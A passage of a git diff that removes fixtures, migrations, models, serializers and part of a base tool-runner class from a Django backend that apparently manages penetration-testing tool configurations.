"model": "tools.input", - "pk": 43, - "fields": { - "argument": 30, - "type": 2, - "filter": "!ip_range,network", - "order": 2 - } - }, - { - "model": "tools.input", - "pk": 44, - "fields": { - "argument": 31, - "type": 10, - "filter": "!cookie", - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 45, - "fields": { - "argument": 32, - "type": 10, - "filter": "cookie", - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 46, - "fields": { - "argument": 33, - "type": 3, - "filter": "http", - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 47, - "fields": { - "argument": 33, - "type": 2, - "filter": "!ip_range,network", - "order": 2 - } - }, - { - "model": "tools.input", - "pk": 48, - "fields": { - "argument": 34, - "type": 2, - "filter": "domain", - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 49, - "fields": { - "argument": 35, - "type": 2, - "filter": "domain", - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 50, - "fields": { - "argument": 36, - "type": 3, - "filter": "http", - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 51, - "fields": { - "argument": 36, - "type": 2, - "filter": "!ip_range,network", - "order": 2 - } - }, - { - "model": "tools.input", - "pk": 52, - "fields": { - "argument": 37, - "type": 9, - "filter": "subdomain", - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 53, - "fields": { - "argument": 38, - "type": 9, - "filter": "endpoint", - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 54, - "fields": { - "argument": 39, - "type": 10, - "filter": "basic", - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 55, - "fields": { - "argument": 40, - "type": 10, - "filter": "!cookie,basic", - "order": 1 - } - }, - { - "model": "tools.input", - "pk": 56, - "fields": { - "argument": 41, - "type": 10, - "filter": "cookie", - "order": 1 - } - } -] \ No newline at end of file diff --git a/src/backend/tools/fixtures/6_outputs.json b/src/backend/tools/fixtures/6_outputs.json deleted file mode 100644 index 3008002af..000000000 --- a/src/backend/tools/fixtures/6_outputs.json +++ /dev/null @@ -1,770 +0,0 @@ -[ - { - "model": "tools.output", - "pk": 1, - "fields": { - "configuration": 1, - "type": 2 - } - }, - { - "model": "tools.output", - "pk": 2, - "fields": { - "configuration": 1, - "type": 3 - } - }, - { - "model": "tools.output", - "pk": 3, - "fields": { - "configuration": 2, - "type": 2 - } - }, - { - "model": "tools.output", - "pk": 4, - "fields": { - "configuration": 2, - "type": 3 - } - }, - { - "model": "tools.output", - "pk": 5, - "fields": { - "configuration": 3, - "type": 2 - } - }, - { - "model": "tools.output", - "pk": 6, - "fields": { - "configuration": 3, - "type": 3 - } - }, - { - "model": "tools.output", - "pk": 7, - "fields": { - "configuration": 3, - "type": 5 - } - }, - { - "model": "tools.output", - "pk": 8, - "fields": { - "configuration": 4, - "type": 2 - } - }, - { - "model": "tools.output", - "pk": 9, - "fields": { - "configuration": 4, - "type": 3 - } - }, - { - "model": "tools.output", - "pk": 10, - "fields": { - "configuration": 4, - "type": 5 - } - }, - { - "model": "tools.output", - "pk": 11, - "fields": { - "configuration": 5, - "type": 2 - } - }, - { - "model": "tools.output", - "pk": 12, - "fields": { - "configuration": 5, - "type": 3 - } - }, - { - "model": "tools.output", - "pk": 13, - "fields": { - "configuration": 6, - "type": 2 - } - }, - { - "model": "tools.output", - "pk": 14, - "fields": { - "configuration": 6, - "type": 3 - } - }, - { - "model": "tools.output", - "pk": 15, - "fields": { - "configuration": 6, - "type": 5 - } - }, - { - "model": "tools.output", - "pk": 16, - "fields": { - "configuration": 7, - "type": 2 - } - }, - { - "model": "tools.output", - "pk": 17, - "fields": { - "configuration": 7, - "type": 3 - } - }, - { - "model": "tools.output", - "pk": 18, - "fields": { - "configuration": 8, - "type": 2 - } - }, - { - "model": "tools.output", - "pk": 19, - "fields": { - "configuration": 8, - "type": 3 - } - }, - { - "model": "tools.output", - "pk": 20, - "fields": { - "configuration": 9, - "type": 2 - } - }, - { - "model": "tools.output", - "pk": 21, - "fields": { - "configuration": 9, - "type": 3 - } - }, - { - "model": "tools.output", - "pk": 22, - "fields": { - "configuration": 9, - "type": 5 - } - }, - { - "model": "tools.output", - "pk": 23, - "fields": { - "configuration": 10, - "type": 2 - } - }, - { - "model": "tools.output", - "pk": 24, - "fields": { - "configuration": 10, - "type": 3 - } - }, - { - "model": "tools.output", - "pk": 25, - "fields": { - "configuration": 10, - "type": 5 - } - }, - { - "model": "tools.output", - "pk": 26, - "fields": { - "configuration": 11, - "type": 2 - } - }, - { - "model": "tools.output", - "pk": 27, - "fields": { - "configuration": 11, - "type": 3 - } - }, - { - "model": "tools.output", - "pk": 28, - "fields": { - "configuration": 12, - "type": 2 - } - }, - { - "model": "tools.output", - "pk": 29, - "fields": { - "configuration": 12, - "type": 3 - } - }, - { - "model": "tools.output", - "pk": 30, - "fields": { - "configuration": 12, - "type": 5 - } - }, - { - "model": "tools.output", - "pk": 31, - "fields": { - "configuration": 13, - "type": 2 - } - }, - { - "model": "tools.output", - "pk": 32, - "fields": { - "configuration": 13, - "type": 3 - } - }, - { - "model": "tools.output", - "pk": 33, - "fields": { - "configuration": 13, - "type": 5 - } - }, - { - "model": "tools.output", - "pk": 34, - "fields": { - "configuration": 13, - "type": 6 - } - }, - { - "model": "tools.output", - "pk": 35, - "fields": { - "configuration": 14, - "type": 2 - } - }, - { - "model": "tools.output", - "pk": 36, - "fields": { - "configuration": 14, - "type": 3 - } - }, - { - "model": "tools.output", - "pk": 37, - "fields": { - "configuration": 14, - "type": 5 - } - }, - { - "model": "tools.output", - "pk": 38, - "fields": { - "configuration": 14, - "type": 6 - } - }, - { - "model": "tools.output", - "pk": 39, - "fields": { - "configuration": 15, - "type": 4 - } - }, - { - "model": "tools.output", - "pk": 40, - "fields": { - "configuration": 16, - "type": 4 - } - }, - { - "model": "tools.output", - "pk": 41, - "fields": { - "configuration": 17, - "type": 4 - } - }, - { - "model": "tools.output", - "pk": 42, - "fields": { - "configuration": 18, - "type": 4 - } - }, - { - "model": "tools.output", - "pk": 43, - "fields": { - "configuration": 19, - "type": 1 - } - }, - { - "model": "tools.output", - "pk": 44, - "fields": { - "configuration": 20, - "type": 1 - } - }, - { - "model": "tools.output", - "pk": 45, - "fields": { - "configuration": 21, - "type": 4 - } - }, - { - "model": "tools.output", - "pk": 46, - "fields": { - "configuration": 21, - "type": 6 - } - }, - { - "model": "tools.output", - "pk": 47, - "fields": { - "configuration": 22, - "type": 5 - } - }, - { - "model": "tools.output", - "pk": 48, - "fields": { - "configuration": 22, - "type": 6 - } - }, - { - "model": "tools.output", - "pk": 49, - "fields": { - "configuration": 23, - "type": 5 - } - }, - { - "model": "tools.output", - "pk": 50, - "fields": { - "configuration": 23, - "type": 6 - } - }, - { - "model": "tools.output", - "pk": 51, - "fields": { - "configuration": 24, - "type": 4 - } - }, - { - "model": "tools.output", - "pk": 52, - "fields": { - "configuration": 24, - "type": 5 - } - }, - { - "model": "tools.output", - "pk": 53, - "fields": { - "configuration": 24, - "type": 6 - } - }, - { - "model": "tools.output", - "pk": 54, - "fields": { - "configuration": 24, - "type": 7 - } - }, - { - "model": "tools.output", - "pk": 55, - "fields": { - "configuration": 25, - "type": 4 - } - }, - { - "model": "tools.output", - "pk": 56, - "fields": { - "configuration": 25, - "type": 6 - } - }, - { - "model": "tools.output", - "pk": 57, - "fields": { - "configuration": 26, - "type": 9 - } - }, - { - "model": "tools.output", - "pk": 58, - "fields": { - "configuration": 27, - "type": 9 - } - }, - { - "model": "tools.output", - "pk": 59, - "fields": { - "configuration": 28, - "type": 6 - } - }, - { - "model": "tools.output", - "pk": 60, - "fields": { - "configuration": 29, - "type": 6 - } - }, - { - "model": "tools.output", - "pk": 61, - "fields": { - "configuration": 30, - "type": 1 - } - }, - { - "model": "tools.output", - "pk": 62, - "fields": { - "configuration": 31, - "type": 1 - } - }, - { - "model": "tools.output", - "pk": 63, - "fields": { - "configuration": 32, - "type": 4 - } - }, - { - "model": "tools.output", - "pk": 64, - "fields": { - "configuration": 32, - "type": 5 - } - }, - { - "model": "tools.output", - "pk": 65, - "fields": { - "configuration": 32, - "type": 6 - } - }, - { - "model": "tools.output", - "pk": 66, - "fields": { - "configuration": 32, - "type": 8 - } - }, - { - "model": "tools.output", - "pk": 67, - "fields": { - "configuration": 33, - "type": 6 - } - }, - { - "model": "tools.output", - "pk": 68, - "fields": { - "configuration": 33, - "type": 7 - } - }, - { - "model": "tools.output", - "pk": 69, - "fields": { - "configuration": 34, - "type": 5 - } - }, - { - "model": "tools.output", - "pk": 70, - "fields": { - "configuration": 34, - "type": 6 - } - }, - { - "model": "tools.output", - "pk": 71, - "fields": { - "configuration": 35, - "type": 4 - } - }, - { - "model": "tools.output", - "pk": 72, - "fields": { - "configuration": 36, - "type": 4 - } - }, - { - "model": "tools.output", - "pk": 73, - "fields": { - "configuration": 37, - "type": 2 - } - }, - { - "model": "tools.output", - "pk": 74, - "fields": { - "configuration": 37, - "type": 3 - } - }, - { - "model": "tools.output", - "pk": 75, - "fields": { - "configuration": 37, - "type": 4 - } - }, - { - "model": "tools.output", - "pk": 76, - "fields": { - "configuration": 37, - "type": 5 - } - }, - { - "model": "tools.output", - "pk": 77, - "fields": { - "configuration": 37, - "type": 6 - } - }, - { - "model": "tools.output", - "pk": 78, - "fields": { - "configuration": 37, - "type": 7 - } - }, - { - "model": "tools.output", - "pk": 79, - "fields": { - "configuration": 38, - "type": 2 - } - }, - { - "model": "tools.output", - "pk": 80, - "fields": { - "configuration": 38, - "type": 3 - } - }, - { - "model": "tools.output", - "pk": 81, - "fields": { - "configuration": 38, - "type": 4 - } - }, - { - "model": "tools.output", - "pk": 82, - "fields": { - "configuration": 38, - "type": 5 - } - }, - { - "model": "tools.output", - "pk": 83, - "fields": { - "configuration": 38, - "type": 6 - } - }, - { - "model": "tools.output", - "pk": 84, - "fields": { - "configuration": 38, - "type": 7 - } - }, - { - "model": "tools.output", - "pk": 85, - "fields": { - "configuration": 39, - "type": 5 - } - }, - { - "model": "tools.output", - "pk": 86, - "fields": { - "configuration": 39, - "type": 6 - } - }, - { - "model": "tools.output", - "pk": 87, - "fields": { - "configuration": 40, - "type": 5 - } - }, - { - "model": "tools.output", - "pk": 88, - "fields": { - "configuration": 40, - "type": 6 - } - }, - { - "model": "tools.output", - "pk": 89, - "fields": { - "configuration": 41, - "type": 6 - } - }, - { - "model": "tools.output", - "pk": 90, - "fields": { - "configuration": 42, - "type": 6 - } - }, - { - "model": "tools.output", - "pk": 91, - "fields": { - "configuration": 43, - "type": 6 - } - }, - { - "model": "tools.output", - "pk": 92, - "fields": { - "configuration": 44, - "type": 6 - } - }, - { - "model": "tools.output", - "pk": 93, - "fields": { - "configuration": 45, - "type": 6 - } - }, - { - "model": "tools.output", - "pk": 94, - "fields": { - "configuration": 46, - "type": 1 - } - }, - { - "model": "tools.output", - "pk": 95, - "fields": { - "configuration": 47, - "type": 1 - } - }, - { - "model": "tools.output", - "pk": 96, - "fields": { - "configuration": 48, - "type": 4 - } - } -] \ No newline at end of file diff --git a/src/backend/tools/migrations/0001_initial.py b/src/backend/tools/migrations/0001_initial.py deleted file mode 100644 index 3590578c9..000000000 --- a/src/backend/tools/migrations/0001_initial.py +++ /dev/null @@ -1,71 +0,0 @@ -# Generated by Django 3.2.12 on 2022-03-20 11:45 - -from django.db import migrations, models - - -class Migration(migrations.Migration): - - initial = True - - dependencies = [ - ] - - operations = [ - migrations.CreateModel( - name='Argument', - fields=[ - ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), - ('name', models.TextField(max_length=20)), - ('argument', models.TextField(blank=True, default='', max_length=50)), - ('required', models.BooleanField(default=False)), - ('multiple', models.BooleanField(default=False)), - ], - ), - migrations.CreateModel( - name='Configuration', - fields=[ - ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), - ('name', models.TextField(max_length=30)), - ('arguments', models.TextField(blank=True, default='', max_length=250)), - ('default', models.BooleanField(default=False)), - ], - ), - migrations.CreateModel( - name='Input', - fields=[ - ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), - ('filter', models.TextField(blank=True, max_length=250, null=True)), - ('order', models.IntegerField(default=1)), - ], - ), - migrations.CreateModel( - name='Intensity', - fields=[ - ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), - ('argument', models.TextField(blank=True, default='', max_length=50)), - ('value', models.IntegerField(choices=[(1, 'Sneaky'), (2, 'Low'), (3, 'Normal'), (4, 'Hard'), (5, 'Insane')], default=3)), - ], - ), - migrations.CreateModel( - name='Output', - fields=[ - ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), - ], - ), - migrations.CreateModel( - name='Tool', - fields=[ - ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), - ('name', models.TextField(max_length=30, unique=True)), - ('command', models.TextField(blank=True, max_length=30, null=True)), - ('output_format', models.TextField(blank=True, max_length=5, null=True)), - ('defectdojo_scan_type', models.TextField(blank=True, max_length=50, null=True)), - ('stage', models.IntegerField(choices=[(1, 'Osint'), (2, 'Enumeration'), (3, 'Vulnerabilities'), (4, 'Services'), (5, 'Exploitation')])), - ('reference', models.TextField(blank=True, max_length=250, null=True)), - ('icon', models.TextField(blank=True, max_length=250, null=True)), - ], - options={ - 'abstract': False, - }, - ), - ] diff --git a/src/backend/tools/migrations/0002_initial.py b/src/backend/tools/migrations/0002_initial.py deleted file mode 100644 index 0a89cda33..000000000 --- a/src/backend/tools/migrations/0002_initial.py +++ /dev/null @@ -1,75 +0,0 @@ -# Generated by Django 3.2.12 on 2022-03-20 11:45 - -from django.conf import settings -from django.db import migrations, models -import django.db.models.deletion - - -class Migration(migrations.Migration): - - initial = True - - dependencies = [ - ('tools', '0001_initial'), - migrations.swappable_dependency(settings.AUTH_USER_MODEL), - ('input_types', '0001_initial'), - ] - - operations = [ - migrations.AddField( - model_name='tool', - name='liked_by', - field=models.ManyToManyField(related_name='liked_tool', to=settings.AUTH_USER_MODEL), - ), - migrations.AddField( - model_name='output', - name='configuration', - field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='outputs', to='tools.configuration'), - ), - migrations.AddField( - model_name='output', - name='type', - field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='outputs', to='input_types.inputtype'), - ), - migrations.AddField( - model_name='intensity', - name='tool', - field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='intensities', to='tools.tool'), - ), - migrations.AddField( - model_name='input', - name='argument', - field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='inputs', to='tools.argument'), - ), - migrations.AddField( - model_name='input', - name='type', - field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='inputs', to='input_types.inputtype'), - ), - migrations.AddField( - model_name='configuration', - name='tool', - field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='configurations', to='tools.tool'), - ), - migrations.AddField( - model_name='argument', - name='tool', - field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='arguments', to='tools.tool'), - ), - migrations.AddConstraint( - model_name='output', - constraint=models.UniqueConstraint(fields=('configuration', 'type'), name='unique output'), - ), - migrations.AddConstraint( - model_name='input', - constraint=models.UniqueConstraint(fields=('argument', 'order'), name='unique input'), - ), - migrations.AddConstraint( - model_name='configuration', - constraint=models.UniqueConstraint(fields=('tool', 'name'), name='unique configuration'), - ), - migrations.AddConstraint( - model_name='argument', - constraint=models.UniqueConstraint(fields=('tool', 'name'), name='unique argument'), - ), - ] diff --git a/src/backend/tools/migrations/0003_auto_20230105_1642.py b/src/backend/tools/migrations/0003_auto_20230105_1642.py deleted file mode 100644 index 885640225..000000000 --- a/src/backend/tools/migrations/0003_auto_20230105_1642.py +++ /dev/null @@ -1,23 +0,0 @@ -# Generated by Django 3.2.16 on 2023-01-05 15:42 - -from django.db import migrations, models - - -class Migration(migrations.Migration): - - dependencies = [ - ('tools', '0002_initial'), - ] - - operations = [ - migrations.RemoveField( - model_name='tool', - name='stage', - ), - migrations.AddField( - model_name='configuration', - name='stage', - field=models.IntegerField(choices=[(1, 'Osint'), (2, 'Enumeration'), (3, 'Vulnerabilities'), (4, 'Services'), (5, 'Exploitation')], default=1), - preserve_default=False, - ), - ] diff --git a/src/backend/tools/migrations/__init__.py b/src/backend/tools/migrations/__init__.py deleted file mode 100644 index e69de29bb..000000000 diff --git a/src/backend/tools/models.py b/src/backend/tools/models.py deleted file mode 100644 index bd612e043..000000000 --- a/src/backend/tools/models.py +++ /dev/null @@ -1,143 +0,0 @@ -from django.db import models -from input_types.models import InputType -from likes.models import LikeBase - -from tools.enums import IntensityRank, Stage - -# Create your models here. - - -class Tool(LikeBase): - '''Tool model.''' - - name = models.TextField(max_length=30, unique=True) # Tool name - command = models.TextField(max_length=30, blank=True, null=True) # Tool command - output_format = models.TextField(max_length=5, blank=True, null=True) # Tool output file format - defectdojo_scan_type = models.TextField(max_length=50, blank=True, null=True) # Related Defect-Dojo scan type - reference = models.TextField(max_length=250, blank=True, null=True) # Tool reference link - icon = models.TextField(max_length=250, blank=True, null=True) # Tool icon link - - def __str__(self) -> str: - '''Instance representation in text format. - - Returns: - str: String value that identifies this instance - ''' - return self.name - - -class Intensity(models.Model): - '''Intensity model.''' - - tool = models.ForeignKey(Tool, related_name='intensities', on_delete=models.CASCADE) # Related tool - argument = models.TextField(max_length=50, default='', blank=True) # Argument needed to apply the intensity - value = models.IntegerField(choices=IntensityRank.choices, default=IntensityRank.NORMAL) # Intensity value - - def __str__(self) -> str: - '''Instance representation in text format. - - Returns: - str: String value that identifies this instance - ''' - return f'{self.tool.name} - {IntensityRank(self.value).name}' - - -class Configuration(models.Model): - '''Configuration model.''' - - name = models.TextField(max_length=30) # Configuration name - tool = models.ForeignKey(Tool, related_name='configurations', on_delete=models.CASCADE) # Related tool - arguments = models.TextField(max_length=250, default='', blank=True) - stage = models.IntegerField(choices=Stage.choices) # Related pentesting stage - default = models.BooleanField(default=False) # Indicate if it's default configuration - - class Meta: - '''Model metadata.''' - - constraints = [ - # Unique constraint by: Tool and Name - models.UniqueConstraint(fields=['tool', 'name'], name='unique configuration') - ] - - def __str__(self) -> str: - '''Instance representation in text format. - - Returns: - str: String value that identifies this instance - ''' - return f'{self.tool.name} - {self.name}' - - -class Argument(models.Model): - '''Argument model.''' - - tool = models.ForeignKey(Tool, related_name='arguments', on_delete=models.CASCADE) # Related tool - name = models.TextField(max_length=20) # Argument name - argument = models.TextField(max_length=50, default='', blank=True) # Argument value - required = models.BooleanField(default=False) # Indicate if it's required argument - multiple = models.BooleanField(default=False) # Accepts multiple BaseInputs or not - - class Meta: - '''Model metadata.''' - - constraints = [ - # Unique constraint by: Tool and Name - models.UniqueConstraint(fields=['tool', 'name'], name='unique argument') - ] - - def __str__(self) -> str: - '''Instance representation in text format. - - Returns: - str: String value that identifies this instance - ''' - return f'{self.tool.__str__()} - {self.name}' - - -class Input(models.Model): - '''Input model.''' - - argument = models.ForeignKey(Argument, related_name='inputs', on_delete=models.CASCADE) # Related argument - type = models.ForeignKey(InputType, related_name='inputs', on_delete=models.CASCADE) # Related input type - filter = models.TextField(max_length=250, blank=True, null=True) # Filter to apply to BaseInputs - order = models.IntegerField(default=1) # Preference order - - class Meta: - '''Model metadata.''' - - constraints = [ - # Unique constraint by: Argument and Order - models.UniqueConstraint(fields=['argument', 'order'], name='unique input') - ] - - def __str__(self) -> str: - '''Instance representation in text format. - - Returns: - str: String value that identifies this instance - ''' - return f'{self.argument.__str__()} - {self.type.__str__()}' - - -class Output(models.Model): - '''Output model.''' - - # Related configuration - configuration = models.ForeignKey(Configuration, related_name='outputs', on_delete=models.CASCADE) - type = models.ForeignKey(InputType, related_name='outputs', on_delete=models.CASCADE) # Related input type - - class Meta: - '''Model metadata.''' - - constraints = [ - # Unique constraint by: Configuration and Input Type - models.UniqueConstraint(fields=['configuration', 'type'], name='unique output') - ] - - def __str__(self) -> str: - '''Instance representation in text format. - - Returns: - str: String value that identifies this instance - ''' - return f'{self.configuration.__str__()} - {self.type.__str__()}' diff --git a/src/backend/tools/serializers.py b/src/backend/tools/serializers.py deleted file mode 100644 index dbd872bae..000000000 --- a/src/backend/tools/serializers.py +++ /dev/null @@ -1,177 +0,0 @@ -from typing import List - -from api.fields import IntegerChoicesField -from drf_spectacular.utils import extend_schema_field -from input_types.serializers import InputTypeSerializer -from likes.serializers import LikeBaseSerializer -from rest_framework import serializers -from rest_framework.fields import SerializerMethodField - -from tools.enums import IntensityRank, Stage -from tools.models import (Argument, Configuration, Input, Intensity, Output, - Tool) - - -class StageField(IntegerChoicesField): - '''Serializer field to manage Stage values.''' - - model = Stage - - def to_representation(self, value: int) -> str: - '''Return text value to send to the client. - - Args: - value (int): Integer value of the IntegerChoices field - - Returns: - str: String value associated to the integer - ''' - if value == 1: # OSINT stage - return super().to_representation(value).upper() - return super().to_representation(value) - - -class IntensityField(IntegerChoicesField): - '''Serializer field to manage Intensity values.''' - - model = IntensityRank - - -class InputSerializer(serializers.ModelSerializer): - '''Serializer to get Input data via API.''' - - type = InputTypeSerializer(many=False, read_only=True) # Input type deatils for read operations - - class Meta: - '''Serializer metadata.''' - - model = Input - fields = ('type', 'filter', 'order') # Input fields exposed via API - - -class OutputSerializer(serializers.ModelSerializer): - '''Serializer to get Output data via API.''' - - type = InputTypeSerializer(many=False, read_only=True) # Input type deatils for read operations - - class Meta: - '''Serializer metadata.''' - - model = Output - fields = ('type',) # Output fields exposed via API - - -class ConfigurationSerializer(serializers.ModelSerializer): - '''Serializer to get Configuration data via API.''' - - stage_name = StageField(source='stage') # Stage name for read operations - outputs = SerializerMethodField(method_name='get_outputs', read_only=True) # Outputs details for read operations - - class Meta: - '''Serializer metadata.''' - - model = Configuration - # Configuration fields exposed via API - fields = ('id', 'name', 'tool', 'arguments', 'stage_name', 'default', 'outputs') - - def get_outputs(self, instance: Configuration) -> OutputSerializer: - '''Get configuration outputs sorted by Id. - - Args: - instance (Configuration): Configuration instance - - Returns: - OutputSerializer: Output list sorted by Id - ''' - return OutputSerializer(instance.outputs.all().order_by('id'), many=True).data - - -class IntensitySerializer(serializers.ModelSerializer): - '''Serializer to get Intensity data vai API.''' - - intensity_rank = IntensityField(source='value') # Intensity name for read operations - - class Meta: - '''Serializer metadata.''' - - model = Intensity - fields = ('argument', 'intensity_rank') # Intensity fields exposed via API - - -class ArgumentSerializer(serializers.ModelSerializer): - '''Serializer to get Argument data via API.''' - - inputs = SerializerMethodField(method_name='get_inputs', read_only=True) # Inputs details for read operations - - class Meta: - '''Serializer metadata.''' - - model = Argument - fields = ('name', 'argument', 'required', 'multiple', 'inputs') # Argument fields exposed via API - - def get_inputs(self, instance: Argument) -> InputSerializer: - '''Get argument inputs sorted by preference order. - - Args: - instance (Argument): Argument instance - - Returns: - InputSerializer: Input list sorted by order - ''' - return InputSerializer(instance.inputs.all().order_by('order'), many=True).data - - -class ToolSerializer(serializers.ModelSerializer, LikeBaseSerializer): - '''Serializer to get Tool data via API.''' - - # Intensitys details for read operations - intensities = SerializerMethodField(method_name='get_intensities', read_only=True) - # Configurations details for read operations - configurations = SerializerMethodField(method_name='get_configurations', read_only=True) - arguments = ArgumentSerializer(many=True, read_only=True) # Argument sdetails for read operations - - class Meta: - '''Serializer metadata.''' - - model = Tool - fields = ( # Tool fields exposed via API - 'id', 'name', 'command', 'reference', 'icon', - 'liked', 'likes', 'intensities', 'configurations', 'arguments' - ) - - @extend_schema_field(IntensitySerializer(many=True, read_only=True)) - def get_intensities(self, instance: Tool) -> List[IntensitySerializer]: - '''Get tool intensities sorted by value (descendent). - - Args: - instance (Tool): Tool instance - - Returns: - InputSerializer: Intensity list sorted by value (descendent) - ''' - return IntensitySerializer(instance.intensities.all().order_by('-value'), many=True).data - - @extend_schema_field(ConfigurationSerializer(many=True, read_only=True)) - def get_configurations(self, instance: Tool) -> List[ConfigurationSerializer]: - '''Get tool configurations sorted by default (descendent) and name. - - Args: - instance (Tool): Tool instance - - Returns: - InputSerializer: Configuration list sorted by default (descendent) and name - ''' - return ConfigurationSerializer(instance.configurations.all().order_by('-default', 'name'), many=True).data - - -class SimplyToolSerializer(serializers.ModelSerializer): - '''Simply serializer to include tool main data in other serializers.''' - - arguments = ArgumentSerializer(many=True, read_only=True) # Arguments details for read operations - - class Meta: - '''Serializer metadata.''' - - model = Tool - # Tool fields exposed via API - fields = ('id', 'name', 'command', 'reference', 'icon', 'arguments') diff --git a/src/backend/tools/tools/__init__.py b/src/backend/tools/tools/__init__.py deleted file mode 100644 index be44c961a..000000000 --- a/src/backend/tools/tools/__init__.py +++ /dev/null @@ -1 +0,0 @@ -'''Tool execution and parsers for each tool.''' diff --git a/src/backend/tools/tools/base_tool.py b/src/backend/tools/tools/base_tool.py deleted file mode 100644 index 6458f2554..000000000 --- a/src/backend/tools/tools/base_tool.py +++ /dev/null @@ -1,514 +0,0 @@ -import logging -import os -import re -import shutil -import subprocess -import uuid -from typing import Any, Dict, List, Optional, Tuple, Union, cast - -from authentications.models import Authentication -from django.db.models import Model -from django.db.models.fields.related_descriptors import \ - ReverseManyToOneDescriptor -from django.db.models.query_utils import DeferredAttribute -from django.utils import timezone -from executions.models import Execution -from findings.models import Finding, Port, Vulnerability -from findings.queue import producer -from findings.utils import get_unique_filter -from input_types.base import BaseInput -from targets.models import TargetPort -from tasks.enums import Status -from tools.exceptions import ToolExecutionException -from tools.models import Argument, Input, Intensity - -from rekono.settings import REPORTS_DIR, TESTING - -logger = logging.getLogger() # Rekono logger - - -class BaseTool: - '''Parent class for all tools that creates the command, executes it and sends findings to the findings queue.''' - - # Indicate if execution must continue even if error occurs during tool execution. By default False. - ignore_exit_code = False - script = '' # Indicate the script path to execute - - def __init__(self, execution: Execution, intensity: Intensity, arguments: List[Argument]) -> None: - '''Tool constructor. - - Args: - execution (Execution): Execution entity related to the tool execution - intensity (Intensity): Intensity to apply - arguments (List[Argument]): Arguments implicated in the tool execution - ''' - self.execution = execution - self.tool = execution.tool - self.configuration = execution.configuration - self.intensity = intensity - self.arguments = arguments - self.command_arguments: List[str] = [] # Arguments used for execute tool - self.file_output_enabled = self.tool.output_format is not None # Tool output to file enabled - self.file_output_extension = self.tool.output_format or 'txt' # Tool output file extension - self.filename_output = f'{str(uuid.uuid4())}.{self.file_output_extension}' # Tool output file name - self.path_output = os.path.join(REPORTS_DIR, self.filename_output) # Tool output file path - self.findings: List[Finding] = [] # Findings obtained from tool execution - # Inputs used during tool execution - # This data will be used to maintain relations between findings and previous findings always as possible - self.findings_relations: Dict[str, BaseInput] = {} - - def check_installation(self) -> None: - '''Check if tool is installed in the system. - - Raises: - ToolExecutionException: Raised if tool isn't installed - ''' - if ( - (self.tool.command and shutil.which(self.tool.command) is None) or # Check command installation - (self.script and not os.path.isfile(self.script)) # Check if script exists - ): - raise ToolExecutionException(f'Tool {self.tool.name} is not installed in the system') - - def prepare_environment(self) -> None: - '''Run code before tool execution. It can be implemented by child tool classes if needed.''' - pass - - def clean_environment(self) -> None: - '''Run code after tool execution. It can be implemented by child tool classes if needed.''' - pass - - def format(self, argument: str, data: Dict[str, Any]) -> Union[str, None]: - '''Format tool argument using data. - - Args: - argument (str): Tool argument to be formatted - data (Dict[str, Any]): Data to use in the tool argument - - Returns: - Union[str, None]: Formatted argument - ''' - data = {k: v for k, v in data.items() if v} # Clean input data - try: - return argument.format(**data) # Build tool argument using inputs data - except KeyError: - return None # Inputs data isn't enough - - def format_argument(self, argument: str, base_inputs: List[BaseInput]) -> Union[str, None]: - '''Format tool argument using multiple input objects. - - Args: - argument (str): Tool argument to be formatted - base_inputs (List[BaseInput]): Input objects to use in the tool argument - - Returns: - Union[str, None]: Formatted argument - ''' - data: Dict[str, Any] = {} # Variable to store inputs data - for base_input in base_inputs: # For each input - data = base_input.parse(data) # Get input data - return self.format(argument, data) - - def process_source( - self, - argument: Argument, - input: Input, - model: Model, - source: List[BaseInput], - command: Dict[str, str] - ) -> Tuple[bool, Dict[str, str]]: - '''Process a list of base inputs to include a new argument in the tool command. - - Args: - argument (Argument): Tool argument - input (Input): Argument input - model (Model): Model associated to the tool input (can be the related model or the callback target) - source (List[BaseInput]): List of base inputs to use in the tool argument - command (Tuple[bool, Dict[str, str]]): Tool command created with previous arguments - - Returns: - Tuple[bool, Dict[str, str]]: Boolean that indicates if some base input is found and the tool command updated - ''' - # Indicate if finding or target is found for this argument input - found = False - # List of base inputs to include a multiple argument - selection: List[BaseInput] = [] - for base_input in source: # For each base input - # Check base input model - if not isinstance(base_input, model): - continue - found = True - if not base_input.filter(input): # Check input filter - continue - if argument.multiple: # Multiple argument - selection.append(base_input) # Add base input to the selection - else: # Unique argument - # Format argument using current base input - formatted_argument = self.format_argument(argument.argument, [base_input]) - if formatted_argument: # If formatted argument is valid - command[argument.name] = formatted_argument # Add formatted argument to the command - # Save base input in the findings_relations to link findings later - self.findings_relations[model.__name__.lower()] = base_input - return found, command - if selection: # If base input selection is not empty - # Format argument using selected base inputs - formatted_argument = self.format_argument(argument.argument, selection) - if formatted_argument: # If formatted argument is valid - command[argument.name] = formatted_argument # Add formatted argument to the command - return found, command - - def process_argument( - self, - argument: Argument, - model_method: str, - source: List[BaseInput], - command: Dict[str, str] - ) -> Tuple[bool, Dict[str, str]]: - '''Process argument entity to include required base inputs in the tool command. - - Args: - argument (Argument): Tool argument - model_method (str): Method to get model from argument inputs - source (List[BaseInput]): List of base inputs to use in the tool argument - command (Dict[str, str]): Tool command created with previous arguments - - Returns: - Tuple[bool, Dict[str, str]]: Boolean that indicates if some base input is found and the tool command updated - ''' - found = False - if argument.name not in command or not command[argument.name]: # Argument can't be 